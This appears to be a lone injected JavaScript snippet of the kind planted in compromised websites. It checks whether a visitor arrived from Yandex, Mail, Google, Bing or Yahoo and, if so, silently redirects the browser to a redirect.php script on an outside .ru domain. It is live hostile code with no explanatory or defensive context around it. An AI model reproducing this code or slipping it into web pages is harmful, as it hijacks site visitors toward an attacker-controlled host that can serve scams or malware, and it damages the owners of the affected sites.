var keyword = ""; var isps = document.referrer.match(/(yandex)|(mail)|(google)|(bing)|(yahoo)/i); if (isps) {window.location.href = "http://xrenoder.ru/redirect.php?q="+encodeURIComponent(keyword);}